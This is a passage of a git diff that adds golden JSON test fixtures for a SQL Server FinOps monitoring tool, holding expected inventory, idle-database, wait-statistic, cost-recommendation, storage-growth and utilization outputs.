+      "InventoryAsOfUtc": "anchor-5d",
+      "LastCollectedUtc": null,
+      "IsHadrEnabled": false,
+      "IsClustered": false,
+      "AgReplicaRole": "Standalone",
+      "IsEnabled": true,
+      "AvgCpuPct": null,
+      "StorageTotalGb": null,
+      "IdleDbCount": null,
+      "ProvisioningStatus": null,
+      "HardwareUnavailableReason": null,
+      "MonthlyCost": 0,
+      "HealthScore": null
+    },
+    {
+      "ServerId": 696714139,
+      "ServerName": "Golden Disabled B",
+      "Edition": "SQL Azure",
+      "ProductVersion": "12.0.2000.8 - RTM",
+      "HostOsVersion": "",
+      "EngineEdition": 5,
+      "CpuCount": 2,
+      "PhysicalMemoryMb": null,
+      "SocketCount": null,
+      "CoresPerSocket": null,
+      "SqlServerStartTime": null,
+      "InventoryAsOfUtc": "anchor-2d",
+      "LastCollectedUtc": null,
+      "IsHadrEnabled": null,
+      "IsClustered": null,
+      "AgReplicaRole": "Standalone",
+      "IsEnabled": false,
+      "AvgCpuPct": null,
+      "StorageTotalGb": null,
+      "IdleDbCount": null,
+      "ProvisioningStatus": null,
+      "HardwareUnavailableReason": "Azure SQL Database: memory, sockets, cores per socket and hyperthread ratio are the host\u0027s, not this database\u0027s. Logical CPUs is the database\u0027s own scheduler count; see its service objective for its vCores.",
+      "MonthlyCost": 0,
+      "HealthScore": null
+    }
+  ]
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsOptimization/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsOptimization/golden.json
new file mode 100644
index 0000000000..e2602861e0
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsOptimization/golden.json
@@ -0,0 +1,153 @@
+{
+  "a": {
+    "idleDatabases": [
+      {
+        "DatabaseName": "IdleOld",
+        "TotalSizeMb": 1024.00,
+        "FileCount": 1,
+        "LastExecutionTime": null
+      },
+      {
+        "DatabaseName": "IdleNoRows",
+        "TotalSizeMb": 750.75,
+        "FileCount": 2,
+        "LastExecutionTime": null
+      },
+      {
+        "DatabaseName": "IdleZero",
+        "TotalSizeMb": 64.00,
+        "FileCount": 1,
+        "LastExecutionTime": "anchor-8.916667d"
+      }
+    ],
+    "tempdbSummary": [
+      {
+        "Metric": "User Objects",
+        "CurrentMb": 800.00,
+        "Peak24hMb": 1500.50,
+        "Warning": "High user object usage"
+      },
+      {
+        "Metric": "Internal Objects",
+        "CurrentMb": 1200.25,
+        "Peak24hMb": 1200.25,
+        "Warning": "High internal object usage (sorts/hashes)"
+      },
+      {
+        "Metric": "Version Store",
+        "CurrentMb": 100.00,
+        "Peak24hMb": 2500.00,
+        "Warning": "Version store pressure — check long-running transactions"
+      },
+      {
+        "Metric": "Total Reserved",
+        "CurrentMb": 2100.25,
+        "Peak24hMb": 4300.50,
+        "Warning": ""
+      }
+    ],
+    "waitCategories": [
+      {
+        "Category": "CPU",
+        "TotalWaitTimeMs": 2300,
+        "WaitingTasks": 35,
+        "PctOfTotal": 47.9,
+        "TopWaitType": "CXPACKET",
+        "TopWaitTimeMs": 1500,
+        "MonthlyCostShare": 0
+      },
+      {
+        "Category": "Storage",
+        "TotalWaitTimeMs": 1000,
+        "WaitingTasks": 10,
+        "PctOfTotal": 20.8,
+        "TopWaitType": "PAGEIOLATCH_SH",
+        "TopWaitTimeMs": 700,
+        "MonthlyCostShare": 0
+      },
+      {
+        "Category": "Locks",
+        "TotalWaitTimeMs": 700,
+        "WaitingTasks": 7,
+        "PctOfTotal": 14.6,
+        "TopWaitType": "LCK_M_X",
+        "TopWaitTimeMs": 700,
+        "MonthlyCostShare": 0
+      },
+      {
+        "Category": "Memory",
+        "TotalWaitTimeMs": 700,
+        "WaitingTasks": 9,
+        "PctOfTotal": 14.6,
+        "TopWaitType": "RESOURCE_SEMAPHORE",
+        "TopWaitTimeMs": 700,
+        "MonthlyCostShare": 0
+      },
+      {
+        "Category": "Other",
+        "TotalWaitTimeMs": 100,
+        "WaitingTasks": 1,
+        "PctOfTotal": 2.1,
+        "TopWaitType": "BROKER_TASK_STOP",
+        "TopWaitTimeMs": 100,
+        "MonthlyCostShare": 0
+      }
+    ],
+    "expensiveQueries": [
+      {
+        "DatabaseName": "Alpha",
+        "TotalCpuMs": 11500,
+        "AvgCpuMsPerExec": 310.81,
+        "TotalReads": 1400,
+        "AvgReadsPerExec": 38,
+        "Executions": 37,
+        "QueryPreview": "SELECT alpha",
+        "FullQueryText": "SELECT alpha",
+        "MonthlyCostShare": 0,
+        "QueryPlanXml": "<ShowPlanXML />"
+      },
+      {
+        "DatabaseName": "Beta",
+        "TotalCpuMs": 4000,
+        "AvgCpuMsPerExec": 500.00,
+        "TotalReads": 300,
+        "AvgReadsPerExec": 38,
+        "Executions": 8,
+        "QueryPreview": "SELECT beta",
+        "FullQueryText": "SELECT beta",
+        "MonthlyCostShare": 0,
+        "QueryPlanXml": null
+      },
+      {
+        "DatabaseName": "Gamma",
+        "TotalCpuMs": 4000,
+        "AvgCpuMsPerExec": 500.00,
+        "TotalReads": 200,
+        "AvgReadsPerExec": 25,
+        "Executions": 8,
+        "QueryPreview": "SELECT gamma",
+        "FullQueryText": "SELECT gamma",
+        "MonthlyCostShare": 0,
+        "QueryPlanXml": null
+      },
+      {
+        "DatabaseName": "Delta",
+        "TotalCpuMs": 3000,
+        "AvgCpuMsPerExec": 1000.00,
+        "TotalReads": 50,
+        "AvgReadsPerExec": 17,
+        "Executions": 3,
+        "QueryPreview": "SELECT ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
+        "FullQueryText": "SELECT dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",
+        "MonthlyCostShare": 0,
+        "QueryPlanXml": null
+      }
+    ]
+  },
+  "b": {
+    "idleDatabases": [],
+    "tempdbSummary": [],
+    "waitCategories": [],
+    "expensiveQueries": []
+  }
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsRecommendations/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsRecommendations/golden.json
new file mode 100644
index 0000000000..a9b5576cd7
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsRecommendations/golden.json
@@ -0,0 +1,226 @@
+{
+  "a": {
+    "monthly1000": [
+      {
+        "Category": "Memory",
+        "Severity": "High",
+        "Confidence": "Medium",
+        "Finding": "Memory over-provisioned (P95 SQL memory uses 20% of 64GB RAM)",
+        "Detail": "P95 SQL Server memory from 20 samples over 19 hours is 13,080 MB out of 65,536 MB physical RAM (20% utilization). Consider reducing to ~25GB.",
+        "EstMonthlySavings": 180.24902343750000
+      },
+      {
+        "Category": "Compute",
+        "Severity": "Medium",
+        "Confidence": "Medium",
+        "Finding": "CPU over-provisioned (16 cores, P95 = 24.0%)",
+        "Detail": "P95 CPU utilization is 24.0% (avg 21.8%, max 24%) across 16 cores. Consider reducing to ~5 cores.",
+        "EstMonthlySavings": 412.500000
+      },
+      {
+        "Category": "Databases",
+        "Severity": "Medium",
+        "Confidence": "High",
+        "Finding": "1 idle database(s) consuming 2.0GB",
+        "Detail": "No query activity in 7 days: ArchiveA. Consider archiving or removing these databases.",
+        "EstMonthlySavings": 39.348293882569935444205348900
+      },
+      {
+        "Category": "Environment",
+        "Severity": "Medium",
+        "Confidence": "Low",
+        "Finding": "2 possible dev/test database(s) on production server",
+        "Detail": "Databases matching dev/test patterns: app_dev_a, qa1_a. If these are non-production workloads, consider moving to a lower-cost tier or separate server.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Maintenance",
+        "Severity": "Medium",
+        "Confidence": "High",
+        "Finding": "WeeklyRebuildA ran long 5 times in 7 days",
+        "Detail": "Average duration: 1h 6m 40s, max: 1h 6m 40s, historical average: 1m 0s. Review whether this job's schedule or operations need tuning.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Hardware",
+        "Severity": "Medium",
+        "Confidence": "Medium",
+        "Finding": "Memory: reduce from 64GB to 16GB (P95 SQL memory uses 20%)",
+        "Detail": "P95 SQL Server memory from 20 samples over 19 hours is 13,080 MB of 65,536 MB physical RAM (20%). Reducing to 16GB would still leave headroom.",
+        "EstMonthlySavings": 225.0000
+      },
+      {
+        "Category": "Licensing",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "TDE in use — Enterprise Edition downgrade blocker",
+        "Detail": "The following databases use Transparent Data Encryption: OrdersA, SalesA. TDE must be removed before downgrading to Standard Edition.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Licensing",
+        "Severity": "Low",
+        "Confidence": "Low",
+        "Finding": "Enterprise to Standard would save ~$6,667/mo at list pricing (16 cores)",
+        "Detail": "Based on list pricing differential of ~$5,000/core/year between Enterprise and Standard. Actual savings depend on your licensing agreement. See Enterprise feature audit for downgrade blockers.",
+        "EstMonthlySavings": 6666.6666666666666666666666667
+      },
+      {
+        "Category": "Storage",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "1 uncompressed object(s) >= 1GB (2.0GB total)",
+        "Detail": "Large uncompressed tables/indexes: dbo.T1 (2.0GB). Consider PAGE or ROW compression to reduce storage and improve I/O.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Maintenance",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "NightlyLoadA ran long 3 times in 7 days",
+        "Detail": "Average duration: 1m 41s, max: 1m 41s, historical average: 1m 0s. Review whether this job's schedule or operations need tuning.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Storage",
+        "Severity": "Low",
+        "Confidence": "Medium",
+        "Finding": "1 database(s) with low IO latency — standard storage may suffice",
+        "Detail": "These databases have avg read latency under 5ms and write under 3ms across 6 samples over 15 hours: OrdersA (read 2.0ms, write 1.0ms). Premium/high-performance storage may not be needed.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Cloud",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "Stable CPU utilization (avg 21.8%, CV 0.06) — reserved capacity candidate",
+        "Detail": "CPU utilization is consistently 21.8% with low variance (±1.4%). Reserved pricing typically saves 30-40% over pay-as-you-go for predictable workloads.",
+        "EstMonthlySavings": null
+      }
+    ],
+    "monthly0": [
+      {
+        "Category": "Memory",
+        "Severity": "High",
+        "Confidence": "Medium",
+        "Finding": "Memory over-provisioned (P95 SQL memory uses 20% of 64GB RAM)",
+        "Detail": "P95 SQL Server memory from 20 samples over 19 hours is 13,080 MB out of 65,536 MB physical RAM (20% utilization). Consider reducing to ~25GB.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Compute",
+        "Severity": "Medium",
+        "Confidence": "Medium",
+        "Finding": "CPU over-provisioned (16 cores, P95 = 24.0%)",
+        "Detail": "P95 CPU utilization is 24.0% (avg 21.8%, max 24%) across 16 cores. Consider reducing to ~5 cores.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Databases",
+        "Severity": "Medium",
+        "Confidence": "High",
+        "Finding": "1 idle database(s) consuming 2.0GB",
+        "Detail": "No query activity in 7 days: ArchiveA. Consider archiving or removing these databases.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Environment",
+        "Severity": "Medium",
+        "Confidence": "Low",
+        "Finding": "2 possible dev/test database(s) on production server",
+        "Detail": "Databases matching dev/test patterns: app_dev_a, qa1_a. If these are non-production workloads, consider moving to a lower-cost tier or separate server.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Maintenance",
+        "Severity": "Medium",
+        "Confidence": "High",
+        "Finding": "WeeklyRebuildA ran long 5 times in 7 days",
+        "Detail": "Average duration: 1h 6m 40s, max: 1h 6m 40s, historical average: 1m 0s. Review whether this job's schedule or operations need tuning.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Hardware",
+        "Severity": "Medium",
+        "Confidence": "Medium",
+        "Finding": "Memory: reduce from 64GB to 16GB (P95 SQL memory uses 20%)",
+        "Detail": "P95 SQL Server memory from 20 samples over 19 hours is 13,080 MB of 65,536 MB physical RAM (20%). Reducing to 16GB would still leave headroom.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Licensing",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "TDE in use — Enterprise Edition downgrade blocker",
+        "Detail": "The following databases use Transparent Data Encryption: OrdersA, SalesA. TDE must be removed before downgrading to Standard Edition.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Licensing",
+        "Severity": "Low",
+        "Confidence": "Low",
+        "Finding": "Enterprise to Standard would save ~$6,667/mo at list pricing (16 cores)",
+        "Detail": "Based on list pricing differential of ~$5,000/core/year between Enterprise and Standard. Actual savings depend on your licensing agreement. See Enterprise feature audit for downgrade blockers.",
+        "EstMonthlySavings": 6666.6666666666666666666666667
+      },
+      {
+        "Category": "Storage",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "1 uncompressed object(s) >= 1GB (2.0GB total)",
+        "Detail": "Large uncompressed tables/indexes: dbo.T1 (2.0GB). Consider PAGE or ROW compression to reduce storage and improve I/O.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Maintenance",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "NightlyLoadA ran long 3 times in 7 days",
+        "Detail": "Average duration: 1m 41s, max: 1m 41s, historical average: 1m 0s. Review whether this job's schedule or operations need tuning.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Storage",
+        "Severity": "Low",
+        "Confidence": "Medium",
+        "Finding": "1 database(s) with low IO latency — standard storage may suffice",
+        "Detail": "These databases have avg read latency under 5ms and write under 3ms across 6 samples over 15 hours: OrdersA (read 2.0ms, write 1.0ms). Premium/high-performance storage may not be needed.",
+        "EstMonthlySavings": null
+      },
+      {
+        "Category": "Cloud",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "Stable CPU utilization (avg 21.8%, CV 0.06) — reserved capacity candidate",
+        "Detail": "CPU utilization is consistently 21.8% with low variance (±1.4%). Reserved pricing typically saves 30-40% over pay-as-you-go for predictable workloads.",
+        "EstMonthlySavings": null
+      }
+    ]
+  },
+  "b": {
+    "monthly1000": [
+      {
+        "Category": "Cloud",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "Stable CPU utilization (avg 21.8%, CV 0.06) — reserved capacity candidate",
+        "Detail": "CPU utilization is consistently 21.8% with low variance (±1.4%). Reserved pricing typically saves 30-40% over pay-as-you-go for predictable workloads.",
+        "EstMonthlySavings": null
+      }
+    ],
+    "monthly0": [
+      {
+        "Category": "Cloud",
+        "Severity": "Low",
+        "Confidence": "High",
+        "Finding": "Stable CPU utilization (avg 21.8%, CV 0.06) — reserved capacity candidate",
+        "Detail": "CPU utilization is consistently 21.8% with low variance (±1.4%). Reserved pricing typically saves 30-40% over pay-as-you-go for predictable workloads.",
+        "EstMonthlySavings": null
+      }
+    ]
+  },
+  "c": {
+    "monthly1000": [],
+    "monthly0": []
+  }
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsStorageGrowth/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsStorageGrowth/golden.json
new file mode 100644
index 0000000000..2018736a35
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsStorageGrowth/golden.json
@@ -0,0 +1,335 @@
+{
+  "a": {
+    "storageGrowth": [
+      {
+        "DatabaseName": "GrowAlpha",
+        "CurrentSizeMb": 1250.50,
+        "Size7dAgoMb": 1100.00,
+        "Size30dAgoMb": 800.00,
+        "Growth7dMb": 150.50,
+        "Growth30dMb": 450.50,
+        "DailyGrowthRateMb": 15.0166666666666667,
+        "GrowthPct30d": 56.3125000000000000,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      },
+      {
+        "DatabaseName": "TieDelta",
+        "CurrentSizeMb": 500.00,
+        "Size7dAgoMb": 400.00,
+        "Size30dAgoMb": 300.00,
+        "Growth7dMb": 100.00,
+        "Growth30dMb": 200.00,
+        "DailyGrowthRateMb": 6.6666666666666667,
+        "GrowthPct30d": 66.6666666666666667,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      },
+      {
+        "DatabaseName": "TieEpsilon",
+        "CurrentSizeMb": 500.00,
+        "Size7dAgoMb": 400.00,
+        "Size30dAgoMb": 300.00,
+        "Growth7dMb": 100.00,
+        "Growth30dMb": 200.00,
+        "DailyGrowthRateMb": 6.6666666666666667,
+        "GrowthPct30d": 66.6666666666666667,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      },
+      {
+        "DatabaseName": "GrowBeta",
+        "CurrentSizeMb": 800.00,
+        "Size7dAgoMb": 780.00,
+        "Size30dAgoMb": null,
+        "Growth7dMb": 20.00,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": 2.8571428571428571,
+        "GrowthPct30d": null,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      },
+      {
+        "DatabaseName": "HyperDb",
+        "CurrentSizeMb": 300.00,
+        "Size7dAgoMb": 290.00,
+        "Size30dAgoMb": null,
+        "Growth7dMb": 10.00,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": 1.4285714285714286,
+        "GrowthPct30d": null,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": true
+      },
+      {
+        "DatabaseName": "NewGamma",
+        "CurrentSizeMb": 40.25,
+        "Size7dAgoMb": null,
+        "Size30dAgoMb": null,
+        "Growth7dMb": null,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": null,
+        "GrowthPct30d": null,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      },
+      {
+        "DatabaseName": "SiblingOmega",
+        "CurrentSizeMb": 600.00,
+        "Size7dAgoMb": null,
+        "Size30dAgoMb": null,
+        "Growth7dMb": null,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": null,
+        "GrowthPct30d": null,
+        "HasSiblingRow": true,
+        "HasLogServiceFile": false
+      },
+      {
+        "DatabaseName": "SiblingZeta",
+        "CurrentSizeMb": 500.00,
+        "Size7dAgoMb": null,
+        "Size30dAgoMb": null,
+        "Growth7dMb": null,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": null,
+        "GrowthPct30d": null,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      }
+    ],
+    "heatmapObjects": [
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "Orders",
+        "CurrentReservedMb": 167.00,
+        "CurrentUsedMb": 150.30,
+        "TotalRows": 800000,
+        "IndexCount": 3,
+        "Growth7dMb": 0,
+        "Growth30dMb": 67.00,
+        "DailyGrowthRateMb": 2.2333333333333333333333333333,
+        "GrowthPct30d": 67
+      },
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "Lines",
+        "CurrentReservedMb": 100.00,
+        "CurrentUsedMb": 90.00,
+        "TotalRows": 2000000,
+        "IndexCount": 1,
+        "Growth7dMb": 0,
+        "Growth30dMb": 50.00,
+        "DailyGrowthRateMb": 1.6666666666666666666666666667,
+        "GrowthPct30d": 100
+      },
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "NewTable",
+        "CurrentReservedMb": 12.50,
+        "CurrentUsedMb": 11.25,
+        "TotalRows": 123,
+        "IndexCount": 1,
+        "Growth7dMb": 0,
+        "Growth30dMb": 12.50,
+        "DailyGrowthRateMb": 0.4166666666666666666666666667,
+        "GrowthPct30d": null
+      },
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "TiedOne",
+        "CurrentReservedMb": 20.00,
+        "CurrentUsedMb": 18.00,
+        "TotalRows": 1000,
+        "IndexCount": 1,
+        "Growth7dMb": 0,
+        "Growth30dMb": 10.00,
+        "DailyGrowthRateMb": 0.3333333333333333333333333333,
+        "GrowthPct30d": 100
+      }
+    ],
+    "heatmapSamples": [
+      {
+        "ObjectKey": "dbo.Lines",
+        "Day": "anchor-5d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.Lines",
+        "Day": "anchor-3d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.Lines",
+        "Day": "anchor-1d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.NewTable",
+        "Day": "anchor-1d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.Orders",
+        "Day": "anchor-5d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.Orders",
+        "Day": "anchor-3d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.Orders",
+        "Day": "anchor-1d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.TiedOne",
+        "Day": "anchor-5d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.TiedOne",
+        "Day": "anchor-3d",
+        "ReservedMb": {}
+      },
+      {
+        "ObjectKey": "dbo.TiedOne",
+        "Day": "anchor-1d",
+        "ReservedMb": {}
+      }
+    ],
+    "indexDetailOrders": [
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "Orders",
+        "IndexName": "PK_Orders",
+        "IndexTypeDesc": "CLUSTERED",
+        "IndexId": 1,
+        "ReservedMb": 120.00,
+        "TotalRows": 800000,
+        "UserSeeks": 5000,
+        "UserScans": 100,
+        "UserLookups": 20,
+        "TotalReads": 5120,
+        "UserUpdates": 400,
+        "LastUserAccess": "anchor-0.083333d",
+        "Classification": "Active",
+        "CollectionTimeUtc": "anchor-0.375d"
+      },
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "Orders",
+        "IndexName": "IX_Orders_Nc",
+        "IndexTypeDesc": "NONCLUSTERED",
+        "IndexId": 2,
+        "ReservedMb": 40.00,
+        "TotalRows": 800000,
+        "UserSeeks": 0,
+        "UserScans": 0,
+        "UserLookups": 0,
+        "TotalReads": 0,
+        "UserUpdates": 0,
+        "LastUserAccess": null,
+        "Classification": "Unused",
+        "CollectionTimeUtc": "anchor-0.375d"
+      },
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "Orders",
+        "IndexName": "IX_Orders_Extra",
+        "IndexTypeDesc": "NONCLUSTERED",
+        "IndexId": 3,
+        "ReservedMb": 7.00,
+        "TotalRows": 800000,
+        "UserSeeks": 0,
+        "UserScans": 0,
+        "UserLookups": 0,
+        "TotalReads": 0,
+        "UserUpdates": 9,
+        "LastUserAccess": null,
+        "Classification": "Write-only",
+        "CollectionTimeUtc": "anchor-0.375d"
+      }
+    ],
+    "indexDetailHeap": [
+      {
+        "DatabaseName": "HeatDb",
+        "SchemaName": "dbo",
+        "TableName": "Heap",
+        "IndexName": "(heap)",
+        "IndexTypeDesc": "HEAP",
+        "IndexId": 0,
+        "ReservedMb": 16.00,
+        "TotalRows": 77,
+        "UserSeeks": 3,
+        "UserScans": 0,
+        "UserLookups": 0,
+        "TotalReads": 3,
+        "UserUpdates": 0,
+        "LastUserAccess": null,
+        "Classification": "Active",
+        "CollectionTimeUtc": "anchor-0.375d"
+      }
+    ],
+    "indexDetailMissing": []
+  },
+  "b": {
+    "storageGrowth": [
+      {
+        "DatabaseName": "OnlyBeta",
+        "CurrentSizeMb": 123.75,
+        "Size7dAgoMb": null,
+        "Size30dAgoMb": null,
+        "Growth7dMb": null,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": null,
+        "GrowthPct30d": null,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      }
+    ],
+    "heatmapObjects": [],
+    "heatmapSamples": [],
+    "indexDetailOrders": [],
+    "indexDetailHeap": [],
+    "indexDetailMissing": []
+  },
+  "c": {
+    "storageGrowth": [
+      {
+        "DatabaseName": "StaleGamma",
+        "CurrentSizeMb": 600.00,
+        "Size7dAgoMb": null,
+        "Size30dAgoMb": null,
+        "Growth7dMb": null,
+        "Growth30dMb": null,
+        "DailyGrowthRateMb": null,
+        "GrowthPct30d": null,
+        "HasSiblingRow": false,
+        "HasLogServiceFile": false
+      }
+    ],
+    "heatmapObjects": [],
+    "heatmapSamples": [],
+    "indexDetailOrders": [],
+    "indexDetailHeap": [],
+    "indexDetailMissing": []
+  },
+  "d": {
+    "storageGrowth": [],
+    "heatmapObjects": [],
+    "heatmapSamples": [],
+    "indexDetailOrders": [],
+    "indexDetailHeap": [],
+    "indexDetailMissing": []
+  }
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsUtilization/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsUtilization/golden.json
new file mode 100644
index 0000000000..720e649c38
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsUtilization/golden.json
@@ -0,0 +1,181 @@
+{
+  "utilizationEfficiency": {
+    "a": {
+      "AvgCpuPct": 38.7500000000000000,
+      "MaxCpuPct": 95,
+      "P95CpuPct": 85.25,
+      "CpuSamples": 4,
+      "TotalMemoryMb": 7000,
+      "TargetMemoryMb": 8000,
+      "PhysicalMemoryMb": 16000,
+      "BufferPoolMb": 6000,
+      "MemoryRatio": 0.87500000000000000000,
+      "MaxGrantWaiters": 2,
+      "GrantTimeouts": 1,
+      "ForcedGrants": 5,
+      "GrantUtilizationPct": 15.0000000000000000,
+      "MaxWorkersCount": 512,
+      "CurrentWorkersCount": 100,
+      "CpuCount": 8,
+      "EngineEdition": 3,
+      "ProvisioningStatus": "UNDER_PROVISIONED",
+      "MonthlyCost": 0,
+      "FreeSpacePct": 0,
+      "HealthScore": 0
+    },
+    "c": {
+      "AvgCpuPct": 18.5000000000000000,
+      "MaxCpuPct": 25,
+      "P95CpuPct": 24.35,
+      "CpuSamples": 2,
+      "TotalMemoryMb": 1800,
+      "TargetMemoryMb": 2000,
+      "PhysicalMemoryMb": 4096,
+      "BufferPoolMb": 900,
+      "MemoryRatio": 0.90000000000000000000,
+      "MaxGrantWaiters": 0,
+      "GrantTimeouts": 0,
+      "ForcedGrants": 0,
+      "GrantUtilizationPct": 0,
+      "MaxWorkersCount": 0,
+      "CurrentWorkersCount": null,
+      "CpuCount": 2,
+      "EngineEdition": 5,
+      "ProvisioningStatus": "RIGHT_SIZED",
+      "MonthlyCost": 0,
+      "FreeSpacePct": 0,
+      "HealthScore": 0
+    },
+    "d": {
+      "AvgCpuPct": 0,
+      "MaxCpuPct": 0,
+      "P95CpuPct": 0,
+      "CpuSamples": 0,
+      "TotalMemoryMb": 3000,
+      "TargetMemoryMb": 4000,
+      "PhysicalMemoryMb": 8192,
+      "BufferPoolMb": 2000,
+      "MemoryRatio": 0.75000000000000000000,
+      "MaxGrantWaiters": 0,
+      "GrantTimeouts": 0,
+      "ForcedGrants": 0,
+      "GrantUtilizationPct": 0,
+      "MaxWorkersCount": 512,
+      "CurrentWorkersCount": 50,
+      "CpuCount": 4,
+      "EngineEdition": 2,
+      "ProvisioningStatus": "",
+      "MonthlyCost": 0,
+      "FreeSpacePct": 0,
+      "HealthScore": 0
+    },
+    "e": null
+  },
+  "provisioningTrend": [
+    {
+      "Day": "anchor-6d",
+      "AvgCpuPct": 40.0000000000000000,
+      "MaxCpuPct": 50,
+      "P95CpuPct": 49,
+      "MemoryRatio": 0.80000000000000000000,
+      "Status": "RIGHT_SIZED"
+    },
+    {
+      "Day": "anchor-5d",
+      "AvgCpuPct": 6.5000000000000000,
+      "MaxCpuPct": 9,
+      "P95CpuPct": 8.75,
+      "MemoryRatio": 0.62500000000000000000,
+      "Status": "OVER_PROVISIONED"
+    },
+    {
+      "Day": "anchor-4d",
+      "AvgCpuPct": 8.5000000000000000,
+      "MaxCpuPct": 12,
+      "P95CpuPct": 11.65,
+      "MemoryRatio": 0.75000000000000000000,
+      "Status": "UNDER_PROVISIONED"
+    },
+    {
+      "Day": "anchor-3d",
+      "AvgCpuPct": 25.5000000000000000,
+      "MaxCpuPct": 29,
+      "P95CpuPct": 28.65,
+      "MemoryRatio": 0.85000000000000000000,
+      "Status": "UNDER_PROVISIONED"
+    },
+    {
+      "Day": "anchor-2d",
+      "AvgCpuPct": 48.5000000000000000,
+      "MaxCpuPct": 52,
+      "P95CpuPct": 51.65,
+      "MemoryRatio": 0.95000000000000000000,
+      "Status": "UNDER_PROVISIONED"
+    },
+    {
+      "Day": "anchor-1d",
+      "AvgCpuPct": 83.5000000000000000,
+      "MaxCpuPct": 87,
+      "P95CpuPct": 86.65,
+      "MemoryRatio": 1.05000000000000000000,
+      "Status": "UNDER_PROVISIONED"
+    }
+  ],
+  "memoryGrantEfficiency": [
+    {
+      "Day": "anchor-5d",
+      "AvgGrantedMb": 110.0000000000000000,
+      "AvgUsedMb": 45.0000000000000000,
+      "EfficiencyPct": 40.9,
+      "PeakGrantedMb": 120.00,
+      "TotalGrantees": 5,
+      "TotalWaiters": 0,
+      "TimeoutErrors": 0,
+      "ForcedGrants": 0
+    },
+    {
+      "Day": "anchor-4d",
+      "AvgGrantedMb": 250.0000000000000000,
+      "AvgUsedMb": 105.0000000000000000,
+      "EfficiencyPct": 42.0,
+      "PeakGrantedMb": 300.00,
+      "TotalGrantees": 8,
+      "TotalWaiters": 0,
+      "TimeoutErrors": 1,
+      "ForcedGrants": 1
+    },
+    {
+      "Day": "anchor-3d",
+      "AvgGrantedMb": 287.5000000000000000,
+      "AvgUsedMb": 105.0000000000000000,
+      "EfficiencyPct": 36.5,
+      "PeakGrantedMb": 325.00,
+      "TotalGrantees": 9,
+      "TotalWaiters": 2,
+      "TimeoutErrors": 1,
+      "ForcedGrants": 3
+    },
+    {
